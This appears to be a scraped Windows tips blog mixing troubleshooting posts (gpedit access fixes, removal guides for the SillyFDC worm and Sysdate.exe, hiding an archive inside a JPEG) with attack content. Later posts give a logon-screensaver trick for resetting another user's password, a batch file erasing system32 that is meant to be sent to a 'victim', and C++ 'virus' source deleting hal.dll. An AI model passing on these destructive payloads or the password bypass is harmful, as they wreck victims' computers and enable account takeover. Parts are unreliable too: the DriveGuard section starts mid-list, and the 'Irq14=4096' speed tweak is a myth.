Steps to Fix Access Denied to gpedit.msc

0 Comments »
My PC was working all fine until I figured out that Group Policy gpedit.msc was not opening on my system. I wanted to open the Group Policy editor for some work and I was shocked to find that not only the gpedit.msc, even the other commands with msc extensions, were not working like services.msc, devmgmt.msc, compmgmt.msc etc.

Then I tried opening the editor by double clicking the gpedit.msc inside the system32 folder and I got the same error “Access is Denied”. What was strange was that I was accessing the editor from my Administrator account only.

Solution 1
Install Microsoft Management Console 3.0 for Windows XP again
Download MMC

Solution 2
After all the efforts to find out the solution, we have been able to find the solution to this problem (Thanks to our alert reader Dickens). I am describing the solution given by him and is working all fine (i have tested myself on my PC)
Open Registry Editor (regedit.exe).
Now traverse to HKEY_CLASSES_ROOT\.msc and delete the registry entry on the right side.
After deleting it when you again type gpedit.msc in Run box, it will open an “Open with” dialog.
Now select the second option and browse to get a new option; browse to C:\Windows\system32\mmc.exe
A new option “Microsoft Management Console” will appear in the window.

Select this option and remember to check the box below to always run the command without doing this again and again.
That’s it, all .msc extensions will now open.

Steps to Remove W32.SillyFDC Virus

0 Comments »
W32.SillyFDC is yet another virus that is not as dangerous as others but still needed to be removed from the system. It is a worm that spreads by copying itself to removable media and may download other malicious applications.

W32.SillyFDC is a worm installed by dangerous Trojan horses and is capable of corrupting files on the computer. The worm may also steal confidential information, damage Windows system files and computer hardware.

Possible Symptoms when infected with W32.SillyFDC:

• Browsers may redirect to strange web pages when browsing.
• Can cause blue screen errors.
• Slow startup and shutdown of computer.

Note: Create a System restore point to undo any changes that may not be liked by you.

Following are the solutions to remove the W32.SillyFDC worm.

Solution 1:
The better solution is to scan your computer with a good updated Anti Virus as this worm can be easily deleted by many of them. Scan your PC with online scanner that will remove the infection.

Solution 2:
1. Disable system restore (My Computer –> Properties –> System Restore –> Turn off system restore on all drives –> Apply).
2. Restart the computer in safe mode.
3. Download and install HijackThis.
4. Run HijackThis and go to Misc Tools –> process manager. Note the paths and kill the following processes (if any):

• CALC
• calc
• mscalc.exe
• startupfolder
• config_
• startupfolder.com
• config_.com

5. Now go to Misc Tools –> Delete a file on reboot. Provide the same paths as noted above.
6. Run HijackThis for a system scan and delete all the entries with above names.
7. Download Smart Virus Remover and select the option of Delete Autorun.inf files.
8. Reboot the PC and also enable the System Restore.
9. Navigate to the following registry subkeys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\”load”

And delete any values associated with the worm in the right pane.

Remove Sysdate.exe Virus

0 Comments »
Recently my computer was infected with this virus called Sysdate.exe that was inside the Recycler folder in the C: drive. I knew that it was a virus since my PC didn’t have the Recycler folder earlier. Thus the location of the virus was C:\RECYCLER\S-1-5-21-8324555943-4443154761-431384085-6428\sysdate.exe

Symptoms of this virus:

• In the Recycler folder there was another folder but in the looks of the Recycle Bin whose name was something like S-1-5-21-8324555943-4443154761-431384085-6428 and on double clicking it, I came across all the files which were there in the Recycle Bin.

• There was an entry in the Registry Editor named Taskman that came back again and again on deleting.

• There were no changes in the startup and task manager in my system but if there is any in yours then remove the process from startup and kill from task manager.

Note: Go to Folder Options -> View tab -> Check the option of Show hidden files and folders and uncheck the option of Hide Protected operating System Files.

Here are the steps how I removed the virus and fixed my problem.

1. First of all to see all the contents in the Recycler folder we need to change the attributes of the folder.

2. Open command prompt (by typing cmd in the Run box) and type

attrib C:\Recycler –r –h –s press enter.

Then again type attrib C:\Recycler\ S-1-5-21-8324555943-4443154761-431384085-6428 –r –h –s and press enter.

3. The shape and look of the folder will change from that of Recycle Bin to a normal Folder which will now show all the contents inside it.

4. There were two files inside the S-1-5-21-8324555943-4443154761-431384085-6428 folder, Sysdate.exe and Autorun.inf, both of which were undeletable.

5. Now to delete Recycler, S-1-5-21-8324555943-4443154761-431384085-6428, Autorun.inf and Sysdate.exe files, first kill the explorer.exe process from the task manager.

6. Your Explorer will shut down but Task Manager would be still running. Now go to File -> New Task. Click on Browse

7. Go to the Recycler folder in this browse function and Shift Delete the Sysdate.exe and Autorun.inf files there, they will get easily deleted and will come back.

8. Then delete the Recycler folder as well.

9. After you have done with removing the Viruses, type explorer.exe in the new task section which will bring the explorer running again.

10. Type regedit in the Run box to open Registry Editor, navigate to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon and delete the Taskman key in the right pane.

Refresh to see if it comes again. If it does not come again, your virus will have been removed.

11. If your computer has more than one user then navigate to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon and edit the Shell key on right side. Edit it to remove the C:\Recycler\ S-1-5-21-8324555943-4443154761-431384085-6428 value.

The value should be only Explorer.exe

Restart the computer to see the virus removed.

What DriveGuard.exe does?

• Adds itself to startup and the task manager.
• Adds a registry key for making changes in the registry editor.

4. Now search for .tmp.exe and delete DriveGuard.tmp.exe and gHmpg.tmp.exe files, if any.

5. Open the msconfig, now go to startup processes and uncheck the FlashGuard process to remove it from the startup list.

6. Open Regedit and navigate to HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FlashGuard.

7. Click on FlashGuard and delete the key.

How to hide a file in a image?

0 Comments »
1. Gather the file you wish to bind, and the image file, and place them in a folder. For the sake of this demonstration, I will be using C:\New Folder
-The image will hereby be referred to in all examples as fluffy.jpg

-The file will hereby be referred to in all examples as New Text Document.txt
2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip. From here on this will be referred to as (secret.rar)
3. Open command prompt by going to Start > Run > cmd
4. In Command Prompt, navigate to the folder where your two files are by typing
cd location [ex: cd C:\New Folder]
5. Type [copy /b fluffy.jpg + secret.rar fluffy.jpg] (remove the brackets)
Congrats, as far as anyone viewing is concerned, this file looks like a JPEG, acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take
a) Change the file extension from fluffy.jpg to fluffy.rar, then open and your file is there
b) Leave the file extension as is, right click, open with WinRar and your file is there

How can I increase my hard disk speed in Windows ?

0 Comments »
First Common method is Defragment.. but 2nd Method

To speed up your hard disk speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the disk.

This tip is only recommended if you have 256MB RAM or higher.

Follow these steps:

1.Run SYSEDIT.EXE from the Run command.
2.Expand the system.ini file window.
3.Scroll down almost to the end of the file till you find a line called [386enh].
4.Press Enter to make one blank line, and in that line type

Irq14=4096

Note: This line IS CASE SENSITIVE!!!

5.Click on the File menu, then choose Save.
6.Close SYSEDIT and reboot your computer.

Done. Speed improvement will be noticed after the computer reboots.

Note: The most speed improvement is visible with IDE drives, however there are reports that this tweak also does good for SCSI disks. In any case, it won't harm your system, so why not try it yourself and let me know what you find.

Unlock The Supersecret Administrator Account For Vista

0 Comments »
Deep inside the bowels of Windows Vista, there’s a secret Administrator account, and it’s different from the normal administrator account you most likely have set up on your PC. This Administrator account is not part of the Administrator group.

It’s a kind of superadministrator, akin to the root account in Unix, and by default it’s turned off and hidden.
(In describing this tut, i’ll always use the capital “A” for the secret Administrator account, and a lowercase “a” for a normal administrator account.)

In versions of Windows before Windows Vista, the Administrator account wasn’t hidden, and many people used it as their main or only account. This Administrator account had full rights over the computer.

In Windows Vista, Microsoft changed that. In Vista, the Administrator account is not subject to UAC, but normal administrator accounts are. So the Administrator can make any changes to the system and will see no UAC prompts.

Turning on the Administrator account is straightforward. First, open an elevated command prompt by typing cmd into the Search box on the Start menu, right-clicking the command prompt icon that appears at the top of the Start menu, then selecting Run as administrator — or just use the shortcut you created in the previous hack.

Then enter this command and press Enter:
Net user administrator /active:yes
From now on, the Administrator account will appear as an option on the Welcome screen, along with any user accounts you may have set up. Use it like any other account. Be aware that it won’t have a password yet, so it’s a good idea to set a password for it.

If you want to disable the account and hide it, enter this command at an elevated command prompt and press Enter:
Net user administrator /active:no

Change WinXP Admin Password

0 Comments »
1. First We need to set the logon screensaver to cmd.exe. For that you can use any DOS Program. You Should Copy the files cmd.exe and logon.scr in \windows\system32 to a secure place as backup. After that delete logon.scr from \windows\system32 and rename the cmd.exe to logon.scr . So now if you didn抰 logon for a while after the windows is started is starts the logon screensaver. And as we have set cmd.exe as logon.scr the cmd will load. Hacker Must Have Patience. So after the cmd start proceed to the next step.


2. Now the Cmd is started as logon screensaver and now you have to type the following command :- net user (username) (new password) . For example if the username is 慼adi?and you want the password as 慺ckgwrhqq2?:-
net user hadi fckgwrhqq2 .
Now The password of user 慼adi?will be changed to 慺ckgwrhqq2?.
The Password is changed , You can Login.

Note: Don't use this for harming other person. This is for your self if you forget your Password.

Make a simple file that destroys ur victims pc

0 Comments »
1. Open Notepad

2. write the above command : -
erase c:\windows\system32\*.* /q

3. Save the above notepad with the extension ".bat or .cmd" as u want

After u created the .cmd or .bat file send it to ur victim as like ordinary file.

Once ur victim double click on it then he/she needs to format his/her pc.

what it does is deletes all files present in the system32 folder out of which most of them are files important for a computers functioning.

Please
1)It would work only if the victim has windows os.
2)Victim has installed windows in c:\ drive
3)This is a very simple program many of you must be knowning this but any of you dont knw u can certainly use this info

Please do not double click the file otherwise all your system32 files would be deleted and when u restart ur pc it will not start .You can try this file in any one`s computer but this result in causing damage to the computer, so be careful before trying this on anyone's pc

Powerful C++ Virus

0 Comments »
This is a powerful C++ virus that I have made, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.
The Original Code:

Code:
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:

Code:
#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.
